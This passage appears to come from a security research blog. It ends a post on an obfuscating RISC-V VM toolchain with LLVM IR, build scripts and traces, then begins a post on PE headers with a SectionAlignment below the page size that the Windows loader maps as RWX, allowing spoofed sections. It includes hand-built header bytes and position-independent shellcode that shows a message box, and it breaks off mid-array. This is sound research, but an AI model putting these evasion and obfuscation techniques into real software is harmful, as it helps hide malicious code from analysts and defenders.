  %arg3_cast = inttoptr i64 %arg3_zext to ptr
  %import_address = load ptr, ptr @import_MessageBoxA, align 8
  %arg0_ptr = getelementptr ptr, ptr %args, i32 0
  store ptr %0, ptr %arg0_ptr, align 8
  %arg1_ptr = getelementptr ptr, ptr %args, i32 1
  store ptr %1, ptr %arg1_ptr, align 8
  %arg2_ptr = getelementptr ptr, ptr %args, i32 2
  store ptr %2, ptr %arg2_ptr, align 8
  %arg3_ptr = getelementptr ptr, ptr %args, i32 3
  store ptr %arg3_cast, ptr %arg3_ptr, align 8
  %return = call ptr @riscvm_host_call(ptr %import_address, ptr %args)
  %return_cast = ptrtoint ptr %return to i64
  %return_trunc = trunc i64 %return_cast to i32
  ret i32 %return_trunc
}

The uint64_t args[13] array is allocated on the stack using the alloca instruction and every function argument is stored in there (after being zero-extended). The GlobalVariable named import_MessageBoxA is read and finally riscvm_host_call is executed to call the import on the host side. The return value is truncated as appropriate and returned from the stub.

The LLVM IR for the generated riscvm_imports function looks like this:

; Global string for LoadLibraryA
@str_USER32.dll = private constant [11 x i8] c"USER32.dll\00"

define void @riscvm_imports() {
entry:
  %args = alloca ptr, i32 13, align 8
  %kernel32.dll_base = call ptr @riscvm_resolve_dll(i32 1399641682)
  %import_LoadLibraryA = call ptr @riscvm_resolve_import(ptr %kernel32.dll_base, i32 -550781972)
  %arg0_ptr = getelementptr ptr, ptr %args, i32 0
  store ptr @str_USER32.dll, ptr %arg0_ptr, align 8
  %USER32.dll_base = call ptr @riscvm_host_call(ptr %import_LoadLibraryA, ptr %args)
  %import_MessageBoxA = call ptr @riscvm_resolve_import(ptr %USER32.dll_base, i32 -50902915)
  store ptr %import_MessageBoxA, ptr @import_MessageBoxA, align 8
  ret void
}

The resolving itself uses the riscvm_resolve_dll and riscvm_resolve_import functions we discussed in a previous section. The final detail is that user32.dll is not loaded into every process, so we need to manually call LoadLibraryA to resolve it.

Instead of resolving the DLL and import hashes at runtime, they are resolved by the transpiler at compile-time, which makes things a bit more annoying to analyze for an attacker.

Trade-offs

While the retargeting approach works well for simple C++ code that makes use of the Windows API, it currently does not work properly when the C/C++ standard library is used. Getting this to work properly will be difficult, but things like std::vector can be made to work with some tricks. The limitations are conceptually quite similar to driver development and we believe this is a big improvement over manually recreating types and manual wrappers with riscvm_host_call.

An unexplored potential area for bugs is the unverified change to the DataLayout of the LLVM module. In our tests, we did not observe any differences in structure layouts between rv64 and x64 code, but most likely there are some nasty edge cases that would need to be properly handled.

If the code written is mainly cross-platform, portable C++ with heavy use of the STL, an alternative design could be to compile most of it with a regular C++ cross-compiler and use the retargeting only for small Windows-specific parts.

One of the biggest advantages of retargeting a (mostly) regular Windows C++ program is that the payload can be fully developed and tested on Windows itself. Debugging is much more difficult once the code becomes RISC-V and our approach fully decouples the development of the payload from the VM itself.

CRT0

The final missing piece of the crt0 component is the _start function that glues everything together:

static void exit(int exit_code);
static void riscvm_relocs();
void        riscvm_imports() __attribute__((weak));
static void riscvm_init_arrays();
extern int __attribute((noinline)) main();

// NOTE: This function has to be first in the file
void _start()
{
    riscvm_relocs();
    riscvm_imports();
    riscvm_init_arrays();
    exit(main());
    asm volatile("ebreak");
}

void riscvm_imports()
{
    // Left empty on purpose
}

The riscvm_imports function is defined as a weak symbol. This means the implementation provided in crt0.c can be overwritten by linking to a stronger symbol with the same name. If we generate a riscvm_imports function in our retargeted bitcode, that implementation will be used and we can be certain we execute before main!

Example payload project

Now that all the necessary tooling has been described, we can put everything together in a real project! In the repository, this is all done in the payload folder. To make things easy, this is a simple cmkr project with a template to enable the retargeting scripts:

# Reference: https://build-cpp.github.io/cmkr/cmake-toml
[cmake]
version = "3.19"
cmkr-include = "cmake/cmkr.cmake"

[project]
name = "payload"
languages = ["CXX"]
cmake-before = "set(CMAKE_CONFIGURATION_TYPES Debug Release)"
include-after = ["cmake/riscvm.cmake"]
msvc-runtime = "static"

[fetch-content.phnt]
url = "https://github.com/mrexodia/phnt-single-header/releases/download/v1.2-4d1b102f/phnt.zip"

[template.riscvm]
type = "executable"
add-function = "add_riscvm_executable"

[target.payload]
type = "riscvm"
sources = [
    "src/main.cpp",
    "crt/minicrt.c",
    "crt/minicrt.cpp",
]
include-directories = [
    "include",
]
link-libraries = [
    "riscvm-crt0",
    "phnt::phnt",
]
compile-features = ["cxx_std_17"]
msvc.link-options = [
    "/INCREMENTAL:NO",
    "/DEBUG",
]

In this case, the add_executable function has been replaced with an equivalent add_riscvm_executable that creates an additional payload.bin file that can be consumed by the riscvm interpreter. The only thing we have to make sure of is to enable clang-cl when configuring the project:

cmake -B build -T ClangCL

After this, you can open build\payload.sln in Visual Studio and develop there as usual. The custom cmake/riscvm.cmake script does the following:

  • Enable LTO
  • Add the -lto-embed-bitcode linker flag
  • Locale clang.exe, ld.lld.exe and llvm-objcopy.exe
  • Compile crt0.c for the riscv64 architecture
  • Create a Python virtual environment with the necessary dependencies

The add_riscvm_executable adds a custom target that processes the regular output executable and executes the retargeter and relevant Python scripts to produce the riscvm artifacts:

function(add_riscvm_executable tgt)
    add_executable(${tgt} ${ARGN})
    if(MSVC)
        target_compile_definitions(${tgt} PRIVATE _NO_CRT_STDIO_INLINE)
        target_compile_options(${tgt} PRIVATE /GS- /Zc:threadSafeInit-)
    endif()
    set(BC_BASE "$<TARGET_FILE_DIR:${tgt}>/$<TARGET_FILE_BASE_NAME:${tgt}>")
    add_custom_command(TARGET ${tgt}
        POST_BUILD
        USES_TERMINAL
        COMMENT "Extracting and transpiling bitcode..."
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/extract-bc.py" "$<TARGET_FILE:${tgt}>" -o "${BC_BASE}.bc" --importmap "${BC_BASE}.imports"
        COMMAND "${TRANSPILER}" -input "${BC_BASE}.bc" -importmap "${BC_BASE}.imports" -output "${BC_BASE}.rv64.bc"
        COMMAND "${CLANG_EXECUTABLE}" ${RV64_FLAGS} -c "${BC_BASE}.rv64.bc" -o "${BC_BASE}.rv64.o"
        COMMAND "${LLD_EXECUTABLE}" -o "${BC_BASE}.elf" --oformat=elf -emit-relocs -T "${RISCVM_DIR}/lib/linker.ld" "--Map=${BC_BASE}.map" "${CRT0_OBJ}" "${BC_BASE}.rv64.o"
        COMMAND "${OBJCOPY_EXECUTABLE}" -O binary "${BC_BASE}.elf" "${BC_BASE}.pre.bin"
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/relocs.py" "${BC_BASE}.elf" --binary "${BC_BASE}.pre.bin" --output "${BC_BASE}.bin"
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/encrypt.py" --encrypt --shuffle --map "${BC_BASE}.map" --shuffle-map "${RISCVM_DIR}/shuffled_opcodes.json" --opcodes-map "${RISCVM_DIR}/opcodes.json" --output "${BC_BASE}.enc.bin" "${BC_BASE}.bin"
        VERBATIM
    )
endfunction()

While all of this is quite complex, we did our best to make it as transparent to the end-user as possible. After enabling Visual Studio’s LLVM support in the installer, you can start developing VM payloads in a few minutes. You can get a precompiled transpiler binary from the releases.

Debugging in riscvm

When debugging the payload, it is easiest to load payload.elf in Ghidra to see the instructions. Additionally, the debug builds of the riscvm executable have a --trace flag to enable instruction tracing. The execution of main in the MessageBoxA example looks something like this (labels added manually for clarity):

                      main:
0x000000014000d3a4:   addi     sp, sp, -0x10 = 0x14002cfd0
0x000000014000d3a8:   sd       ra, 0x8(sp) = 0x14000d018
0x000000014000d3ac:   auipc    a0, 0x0 = 0x14000d4e4
0x000000014000d3b0:   addi     a1, a0, 0xd6 = 0x14000d482
0x000000014000d3b4:   auipc    a0, 0x0 = 0x14000d3ac
0x000000014000d3b8:   addi     a2, a0, 0xc7 = 0x14000d47b
0x000000014000d3bc:   addi     a0, zero, 0x0 = 0x0
0x000000014000d3c0:   addi     a3, zero, 0x0 = 0x0
0x000000014000d3c4:   jal      ra, 0x14 -> 0x14000d3d8
                        MessageBoxA:
0x000000014000d3d8:     addi     sp, sp, -0x70 = 0x14002cf60
0x000000014000d3dc:     sd       ra, 0x68(sp) = 0x14000d3c8
0x000000014000d3e0:     slli     a3, a3, 0x0 = 0x0
0x000000014000d3e4:     srli     a4, a3, 0x0 = 0x0
0x000000014000d3e8:     auipc    a3, 0x0 = 0x0
0x000000014000d3ec:     ld       a3, 0x108(a3=>0x14000d4f0) = 0x7ffb3c23a000
0x000000014000d3f0:     sd       a0, 0x0(sp) = 0x0
0x000000014000d3f4:     sd       a1, 0x8(sp) = 0x14000d482
0x000000014000d3f8:     sd       a2, 0x10(sp) = 0x14000d47b
0x000000014000d3fc:     sd       a4, 0x18(sp) = 0x0
0x000000014000d400:     addi     a1, sp, 0x0 = 0x14002cf60
0x000000014000d404:     addi     a0, a3, 0x0 = 0x7ffb3c23a000
0x000000014000d408:     jal      ra, -0x3cc -> 0x14000d03c
                          riscvm_host_call:
0x000000014000d03c:       lui      a2, 0x5 = 0x14000d47b
0x000000014000d040:       addiw    a7, a2, -0x1e0 = 0x4e20
0x000000014000d044:       ecall    0x4e20
0x000000014000d048:       ret      (0x14000d40c)
0x000000014000d40c:     ld       ra, 0x68(sp=>0x14002cfc8) = 0x14000d3c8
0x000000014000d410:     addi     sp, sp, 0x70 = 0x14002cfd0
0x000000014000d414:     ret      (0x14000d3c8)
0x000000014000d3c8:   addi     a0, zero, 0x0 = 0x0
0x000000014000d3cc:   ld       ra, 0x8(sp=>0x14002cfd8) = 0x14000d018
0x000000014000d3d0:   addi     sp, sp, 0x10 = 0x14002cfe0
0x000000014000d3d4:   ret      (0x14000d018)
0x000000014000d018: jal      ra, 0x14 -> 0x14000d02c
                      exit:
0x000000014000d02c:   lui      a1, 0x2 = 0x14002cf60
0x000000014000d030:   addiw    a7, a1, 0x710 = 0x2710
0x000000014000d034:   ecall    0x2710

The tracing also uses the enums for the opcodes, so it works with shuffled and encrypted payloads as well.

Outro

Hopefully this article has been an interesting read for you. We tried to walk you through the process in the same order we developed it in, but you can always refer to the riscy-business GitHub repository and try things out for yourself if you got confused along the way. If you have any ideas for improvements, or would like to discuss, you are always welcome in our Discord server!

We would like to thank the following people for proofreading and discussing the design and implementation with us (alphabetical order):

Additionally, we highly appreciate the open source projects that we built this project on! If you use this project, consider giving back your improvements to the community as well.

Merry Christmas!

Abusing undocumented features to spoof PE section headers

5 June 2023 at 23:00

Introduction

Some time ago, I accidentally came across some interesting behaviour in PE files while debugging an unrelated project. I noticed that setting the SectionAlignment value in the NT header to a value lower than the page size (4096) resulted in significant differences in the way that the image is mapped into memory. Rather than following the usual procedure of parsing the section table to construct the image in memory, the loader appeared to map the entire file, including the headers, into memory with read-write-execute (RWX) permissions - the individual section headers were completely ignored.

As a result of this behaviour, it is possible to create a PE executable without any sections, yet still capable of executing its own code. The code can even be self-modifying if necessary due to the write permissions that are present by default.

One way in which this mode could potentially be abused would be to create a fake section table - on first inspection, this would appear to be a normal PE module containing read-write/read-only data sections, but when launched, the seemingly NX data becomes executable.

While I am sure that this technique will have already been discovered (and potentially abused) in the past, I have been unable to find any documentation online describing it. MSDN does briefly mention that the SectionAlignment value can be less than the page size, but it doesn’t elaborate any further on the implications of this.

Inside the Windows kernel

A quick look in the kernel reveals what is happening. Within MiCreateImageFileMap, we can see the parsing of PE headers - notably, if the SectionAlignment value is less than 0x1000, an undocumented flag (0x200000) is set prior to mapping the image into memory:

	if(v29->SectionAlignment < 0x1000)
	{
		if((SectionFlags & 0x80000) != 0)
 		{
			v17 = 0xC000007B;
			MiLogCreateImageFileMapFailure(v36, v39, *(unsigned int *)(v29 + 64), DWORD1(v99));
			ImageFailureReason = 55;
			goto LABEL_81;
		}
		if(!MiLegacyImageArchitecture((unsigned __int16)v99))
		{
			v17 = 0xC000007B;
			ImageFailureReason = 56;
			goto LABEL_81;
		}
		SectionFlags |= 0x200000;
	}
	v40 = MiBuildImageControlArea(a3, v38, v29, (unsigned int)&v99, SectionFlags, (__int64)&FileSize, (__int64)&v93);

If the aforementioned flag is set, MiBuildImageControlArea treats the entire file as one single section:

	if((SectionFlags & 0x200000) != 0)
	{
		SectionCount = 1;
	}
	else
	{
		SectionCount = a4->NumberOfSections + 1;
	}
	v12 = MiAllocatePool(64, 8 * (7 * SectionCount + (((unsigned __int64)(unsigned int)MiFlags >> 13) & 1)) + 184, (SectionFlags & 0x200000) != 0 ? 0x61436D4D : 0x69436D4D);

As a result, the raw image is mapped into memory with all PTEs assigned MM_EXECUTE_READWRITE protection. As mentioned previously, the IMAGE_SECTION_HEADER list is ignored, meaning a PE module using this mode can have a NumberOfSections value of 0. There are no obvious size restrictions on PE modules using this mode either - the loader will allocate memory based on the SizeOfImage field and copy the file contents accordingly. Any excess memory beyond the size of the file will remain blank.

Demonstration #1 - Executable PE with no sections

The simplest demonstration of this technique would be to create a generic “loader” for position-independent code. I have created the following sample headers by hand for testing:

// (64-bit EXE headers)
BYTE bHeaders64[328] =
{
	0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x48, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x60, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00,

	// (code goes here)
};

BYTE bHeaders32[304] =
{
	0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xE0, 0x00, 0x02, 0x01, 0x0B, 0x01, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x40, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00,

	// (code goes here)
};

These headers contain a SectionAlignment value of 0x200 (rather than the usual 0x1000), a SizeOfImage value of 0x100000 (1MB), a blank section table, and an entry-point positioned immediately after the headers. Aside from these values, there is nothing special about the remaining fields:

(DOS Header)
   e_magic                       : 0x5A4D
   ...
   e_lfanew                      : 0x40
(NT Header)
   Signature                     : 0x4550
   Machine                       : 0x8664
   NumberOfSections              : 0x0
   TimeDateStamp                 : 0x0
   PointerToSymbolTable          : 0x0
   NumberOfSymbols               : 0x0
   SizeOfOptionalHeader          : 0xF0
   Characteristics               : 0x22
   Magic                         : 0x20B
   MajorLinkerVersion            : 0xE
   MinorLinkerVersion            : 0x1D
   SizeOfCode                    : 0x0
   SizeOfInitializedData         : 0x0
   SizeOfUninitializedData       : 0x0
   AddressOfEntryPoint           : 0x148
   BaseOfCode                    : 0x0
   ImageBase                     : 0x140000000
   SectionAlignment              : 0x200
   FileAlignment                 : 0x200
   MajorOperatingSystemVersion   : 0x6
   MinorOperatingSystemVersion   : 0x0
   MajorImageVersion             : 0x0
   MinorImageVersion             : 0x0
   MajorSubsystemVersion         : 0x6
   MinorSubsystemVersion         : 0x0
   Win32VersionValue             : 0x0
   SizeOfImage                   : 0x100000
   SizeOfHeaders                 : 0x148
   CheckSum                      : 0x0
   Subsystem                     : 0x2
   DllCharacteristics            : 0x8160
   SizeOfStackReserve            : 0x100000
   SizeOfStackCommit             : 0x1000
   SizeOfHeapReserve             : 0x100000
   SizeOfHeapCommit              : 0x1000
   LoaderFlags                   : 0x0
   NumberOfRvaAndSizes           : 0x10
   DataDirectory[0]              : 0x0, 0x0
   ...
   DataDirectory[15]             : 0x0, 0x0
(Start of code)

For demonstration purposes, we will be using some position-independent code that calls MessageBoxA. As the base headers lack an import table, this code must locate and load all dependencies manually - user32.dll in this case. This same payload can be used in both 32-bit and 64-bit environments:

BYTE bMessageBox[939] =
{
	0x8B, 0xC4, 0x6A, 0x00, 0x2B, 0xC4, 0x59, 0x83, 0xF8, 0x08, 0x0F, 0x84,
	0xA0, 0x01, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x3C, 0x64, 0xA1,
	0x30, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C,
	0x33, 0xDB, 0x21, 0x5D, 0xF0, 0x21, 0x5D, 0xEC, 0x8B, 0x40, 0x1C, 0x8B,
	0x00, 0x8B, 0x78, 0x08, 0x8B, 0x47, 0x3C, 0x8B, 0x44, 0x38, 0x78, 0x03,
	0xC7, 0x8B, 0x48, 0x24, 0x03, 0xCF, 0x89, 0x4D, 0xE8, 0x8B, 0x48, 0x20,
	0x03, 0xCF, 0x89, 0x4D, 0xE4, 0x8B, 0x48, 0x1C, 0x03, 0xCF, 0x89, 0x4D,
	0xF4, 0x8B, 0x48, 0x14, 0x89, 0x4D, 0xFC, 0x85, 0xC9, 0x74, 0x5F, 0x8B,
	0x70, 0x18, 0x8B, 0xC1, 0x89, 0x75, 0xF8, 0x33, 0xC9, 0x85, 0xF6, 0x74,
	0x4C, 0x8B, 0x45, 0xE8, 0x0F, 0xB7, 0x04, 0x48, 0x3B, 0xC2, 0x74, 0x07,
	0x41, 0x3B, 0xCE, 0x72, 0xF0, 0xEB, 0x37, 0x8B, 0x45, 0xE4, 0x8B, 0x0C,
	0x88, 0x03, 0xCF, 0x74, 0x2D, 0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00,
	0x84, 0xC0, 0x74, 0x1F, 0x6B, 0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0,
	0x41, 0x8A, 0x01, 0x84, 0xC0, 0x75, 0xF1, 0x81, 0xFE, 0xFB, 0xF0, 0xBF,
	0x5F, 0x75, 0x74, 0x8B, 0x45, 0xF4, 0x8B, 0x1C, 0x90, 0x03, 0xDF, 0x8B,
	0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72, 0xA9, 0x8D, 0x45,
	0xC4, 0xC7, 0x45, 0xC4, 0x75, 0x73, 0x65, 0x72, 0x50, 0x66, 0xC7, 0x45,
	0xC8, 0x33, 0x32, 0xC6, 0x45, 0xCA, 0x00, 0xFF, 0xD3, 0x8B, 0xF8, 0x33,
	0xD2, 0x8B, 0x4F, 0x3C, 0x8B, 0x4C, 0x39, 0x78, 0x03, 0xCF, 0x8B, 0x41,
	0x20, 0x8B, 0x71, 0x24, 0x03, 0xC7, 0x8B, 0x59, 0x14, 0x03, 0xF7, 0x89,
	0x45, 0xE4, 0x8B, 0x41, 0x1C, 0x03, 0xC7, 0x89, 0x75, 0xF8, 0x89, 0x45,
	0xE8, 0x89, 0x5D, 0xFC, 0x85, 0xDB, 0x74, 0x7D, 0x8B, 0x59, 0x18, 0x8B,
	0x45, 0xFC, 0x33, 0xC9, 0x85, 0xDB, 0x74, 0x6C, 0x0F, 0xB7, 0x04, 0x4E,
	0x3B, 0xC2, 0x74, 0x22, 0x41, 0x3B, 0xCB, 0x72, 0xF3, 0xEB, 0x5A, 0x81,
	0xFE, 0x6D, 0x07, 0xAF, 0x60, 0x8B, 0x75, 0xF8, 0x75, 0x8C, 0x8B, 0x45,
	0xF4, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xEC, 0xE9, 0x7C, 0xFF,
	0xFF, 0xFF, 0x8B, 0x45, 0xE4, 0x8B, 0x0C, 0x88, 0x03, 0xCF, 0x74, 0x35,
	0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x27, 0x6B,
	0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0, 0x41, 0x8A, 0x01, 0x84, 0xC0,
	0x75, 0xF1, 0x81, 0xFE, 0xB4, 0x14, 0x4F, 0x38, 0x8B, 0x75, 0xF8, 0x75,
	0x10, 0x8B, 0x45, 0xE8, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xF0,
	0xEB, 0x03, 0x8B, 0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72,
	0x89, 0x33, 0xC9, 0xC7, 0x45, 0xC4, 0x54, 0x65, 0x73, 0x74, 0x51, 0x8D,
	0x45, 0xC4, 0x88, 0x4D, 0xC8, 0x50, 0x50, 0x51, 0xFF, 0x55, 0xF0, 0x6A,
	0x7B, 0x6A, 0xFF, 0xFF, 0x55, 0xEC, 0x5F, 0x5E, 0x5B, 0xC9, 0xC3, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89,
	0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0x54, 0x41, 0x56,
	0x41, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60,
	0x00, 0x00, 0x00, 0x33, 0xFF, 0x45, 0x33, 0xFF, 0x45, 0x33, 0xE4, 0x45,
	0x33, 0xC9, 0x48, 0x8B, 0x48, 0x18, 0x48, 0x8B, 0x41, 0x30, 0x48, 0x8B,
	0x08, 0x48, 0x8B, 0x59, 0x10, 0x48, 0x63, 0x43, 0x3C, 0x8B, 0x8C, 0x18,
	0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xCB, 0x8B, 0x69, 0x24, 0x44, 0x8B,
	0x71, 0x20, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x59, 0x1C, 0x4C, 0x03, 0xF3,
	0x8B, 0x71, 0x14, 0x4C, 0x03, 0xDB, 0x85, 0xF6, 0x0F, 0x84, 0x80, 0x00,
	0x00, 0x00, 0x44, 0x8B, 0x51, 0x18, 0x33, 0xC9, 0x45, 0x85, 0xD2, 0x74,
	0x69, 0x48, 0x8B, 0xD5, 0x0F, 0x1F, 0x40, 0x00, 0x0F, 0xB7, 0x02, 0x41,
	0x3B, 0xC1, 0x74, 0x0D, 0xFF, 0xC1, 0x48, 0x83, 0xC2, 0x02, 0x41, 0x3B,
	0xCA, 0x72, 0xED, 0xEB, 0x4D, 0x45, 0x8B, 0x04, 0x8E, 0x4C, 0x03, 0xC3,
	0x74, 0x44, 0x41, 0x0F, 0xB6, 0x00, 0x33, 0xD2, 0xB9, 0x05, 0x15, 0x00,
	0x00, 0x84, 0xC0, 0x74, 0x35, 0x0F, 0x1F, 0x00, 0x6B, 0xC9, 0x21, 0x8D,
	0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42, 0x0F, 0xB6, 0x04, 0x02,
	0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xFB, 0xF0, 0xBF, 0x5F, 0x75, 0x08,
	0x41, 0x8B, 0x3B, 0x48, 0x03, 0xFB, 0xEB, 0x0E, 0x81, 0xF9, 0x6D, 0x07,
	0xAF, 0x60, 0x75, 0x06, 0x45, 0x8B, 0x23, 0x4C, 0x03, 0xE3, 0x41, 0xFF,
	0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x84, 0x48, 0x8D,
	0x4C, 0x24, 0x20, 0xC7, 0x44, 0x24, 0x20, 0x75, 0x73, 0x65, 0x72, 0x66,
	0xC7, 0x44, 0x24, 0x24, 0x33, 0x32, 0x44, 0x88, 0x7C, 0x24, 0x26, 0xFF,
	0xD7, 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xD8, 0x48, 0x63, 0x48, 0x3C, 0x8B,
	0x94, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD0, 0x8B, 0x7A, 0x24,
	0x8B, 0x6A, 0x20, 0x48, 0x03, 0xF8, 0x44, 0x8B, 0x5A, 0x1C, 0x48, 0x03,
	0xE8, 0x8B, 0x72, 0x14, 0x4C, 0x03, 0xD8, 0x85, 0xF6, 0x74, 0x77, 0x44,
	0x8B, 0x52, 0x18, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x33, 0xC0, 0x45, 0x85,
	0xD2, 0x74, 0x5B, 0x48, 0x8B, 0xD7, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
